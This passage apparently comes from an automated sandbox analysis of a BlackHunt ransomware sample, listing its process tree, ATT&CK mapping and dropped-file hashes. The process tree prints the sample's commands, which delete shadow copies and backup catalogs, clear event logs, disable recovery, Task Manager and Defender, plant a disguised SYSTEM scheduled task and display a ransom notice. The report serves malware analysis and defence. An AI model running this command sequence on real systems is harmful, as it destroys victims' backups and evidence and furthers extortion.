  2⤵
  PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe" /F
  2⤵
  PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2984
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1704
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2764
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2600
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2128
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2020
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:204
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:220
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3060
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:484
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:1320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1324
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2632
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe"
  2⤵
  - Deletes itself
  PID:1636
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2648
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2436
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2984

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:1400

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2744

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2080

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:2296

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:800

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe" /F
1⤵
- Creates scheduled task(s)
PID:2452

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2520

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2544

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:2384

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1668
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1952

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:1464

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2508

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2436

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1580

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2356

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:2480

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:3012
- C:\Windows\system32\reg.exe
  REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2636

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2924

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:2308

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2256

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1092

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:1320

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:700

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2720

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1984

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2340

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1784314683508815577-1021467085-1346937235-10668285631627353981-168467110-786834969"
1⤵
PID:1668

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1654254029-1152519405-599538062-1380529561-20324607741212671706-10531690191947780232"
1⤵
PID:2520

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2804

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:996

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2932

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1588169996-1526568404-1811220001-519577323180042476-85832725658924670357568734"
1⤵
PID:1488

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "577197290-1838314719-25221745-14859217951124633060225411028459644075-708407147"
1⤵
PID:2924

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1774716994-9238396541045579218-13047557681284812127-2075992053-8731547871342151956"
1⤵
PID:1952

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "11018805372141936547-9810116881085015868-70001580374184751521153595101371339849"
1⤵
PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
0c0680eb2f24d3ad90c99e0998faca44

SHA1
6ae2b0f06f846ca3a248d371ec2b02ca09243776

SHA256
8cba3d937dbdbca71787c3bbfc35a3d9de8c373a3c64cf4e202691604b972bef

SHA512
f91128e2d2402300d5675e488a0c2664a3fc2a3e92391b7086463c65c3ea1cad47d3f2ba99edf724b8aae7835067738bb818147994dd947788d6ef41640be6c6

Download Submit
F:\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
cdedb7652f294555a5b3a3c265ac54b5

SHA1
4d72b5b77424d42e124cc242b7354a1159eb79b2

SHA256
94845d08bcc8d5cfb5ebf1e5b5a075f4a05394f09cb645b31b41fd603aac6e96

SHA512
8ba6bfa744f860b7fdfc5beff52ae10e1e030c69aabda45fdbd2a2fd2cdb95bfe8f20885e2bdb6c93617500e4c3890f3f1010e061add78d9dc443c031a66849e

Download Submit
F:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
9e910b51f02e606e2870a10697b09bf4

SHA1
78c77a738544d4a2775e47acf7c457bd4c62935b

SHA256
f15fb3c2fb82d1d6cda630f8b9ca8dd953595388e0fa5607f3e664f901e58ae2

SHA512
c04731384d41672bca2c4ca24d4271cb9157a5c6e34425b5dc838a4288328632a212c64f350d7cdc26a9b398e71216efb27955b367ce8062e7357ae19c67b8ae

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads